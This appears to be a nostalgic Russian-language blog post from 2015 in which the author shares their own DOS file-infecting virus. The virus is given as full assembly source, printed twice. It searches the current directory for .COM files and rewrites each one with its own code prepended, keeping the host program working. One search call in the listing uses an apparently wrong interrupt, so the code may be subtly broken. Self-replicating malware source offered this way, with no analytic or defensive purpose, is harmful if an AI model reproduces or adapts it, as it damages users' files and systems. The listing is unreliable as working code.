Как молоды мы были
May. 16th, 2015 06:41 pmНиже - авторский нерезидентный вирусок под дос. Кушает *.com ( https://ru.wikipedia.org/wiki/.COM ) в текущем каталоге, сохраняет работоспособность носителя.
; [03.03.o1]
; реликтовый рыжий лесной таракан
.model tiny
.code
.radix 16
org 0100
vsize equ offset finsh-nitra
nitra:
; чтобы не заражать самого себя
db 4dh
; следующий сегмент
mov ax,es
add ah,10
mov es,ax
; копируем содержимое dta
sub si,si
mov di,si
mov cx,0100+vsize
repz movsb
; поищем по маске
lea dx,fmask
mov ah,4e
int 20
jb getto
; откроем файл для записи
wher2:
mov ax,3d02
mov dx,009e
int 21
jb getto
push es ;;
pop ds ;;
; прочтем 62 килобайта
xchg bx,ax
mov ah,3f
mov cx,0f800
mov dx,di
int 21
; проверка exehdr
mov word ptr [wher1+01],ax
cmp byte ptr [di],4dh
jz cloze
add ax,vsize
push ax ;;
; ставим указатель на начало
mov ax,4200
cwd
mov cx,dx
int 21
; запишем измененный файл
mov ah,40
pop cx ;;
mov dx,0100
int 21
; закрываем
cloze:
push cs ;;
pop ds ;;
mov ah,3e
int 21
; следующий экземпляр пжалста
mov ah,4f
int 21
jnb wher2
; подготовка к возврату
getto:
push es ;;
pop ds ;;
push cs ;;
pop es ;;
; ставим dta на место
sub si,si
mov di,si
mov cx,0100
repz movsb
push cs ;;
pop ds ;;
; запись кода repz movsb
dec di
dec di
mov ax,0a4f3
push di ;;
stosw
mov si,0100+vsize
wher1:
mov cx,0002
retn
fmask db "*.CoM",00h
db "NitRa"
finsh:
dw 20cdh
end nitra
; [03.03.o1]
; реликтовый рыжий лесной таракан
.model tiny
.code
.radix 16
org 0100
vsize equ offset finsh-nitra
nitra:
; чтобы не заражать самого себя
db 4dh
; следующий сегмент
mov ax,es
add ah,10
mov es,ax
; копируем содержимое dta
sub si,si
mov di,si
mov cx,0100+vsize
repz movsb
; поищем по маске
lea dx,fmask
mov ah,4e
int 20
jb getto
; откроем файл для записи
wher2:
mov ax,3d02
mov dx,009e
int 21
jb getto
push es ;;
pop ds ;;
; прочтем 62 килобайта
xchg bx,ax
mov ah,3f
mov cx,0f800
mov dx,di
int 21
; проверка exehdr
mov word ptr [wher1+01],ax
cmp byte ptr [di],4dh
jz cloze
add ax,vsize
push ax ;;
; ставим указатель на начало
mov ax,4200
cwd
mov cx,dx
int 21
; запишем измененный файл
mov ah,40
pop cx ;;
mov dx,0100
int 21
; закрываем
cloze:
push cs ;;
pop ds ;;
mov ah,3e
int 21
; следующий экземпляр пжалста
mov ah,4f
int 21
jnb wher2
; подготовка к возврату
getto:
push es ;;
pop ds ;;
push cs ;;
pop es ;;
; ставим dta на место
sub si,si
mov di,si
mov cx,0100
repz movsb
push cs ;;
pop ds ;;
; запись кода repz movsb
dec di
dec di
mov ax,0a4f3
push di ;;
stosw
mov si,0100+vsize
wher1:
mov cx,0002
retn
fmask db "*.CoM",00h
db "NitRa"
finsh:
dw 20cdh
end nitra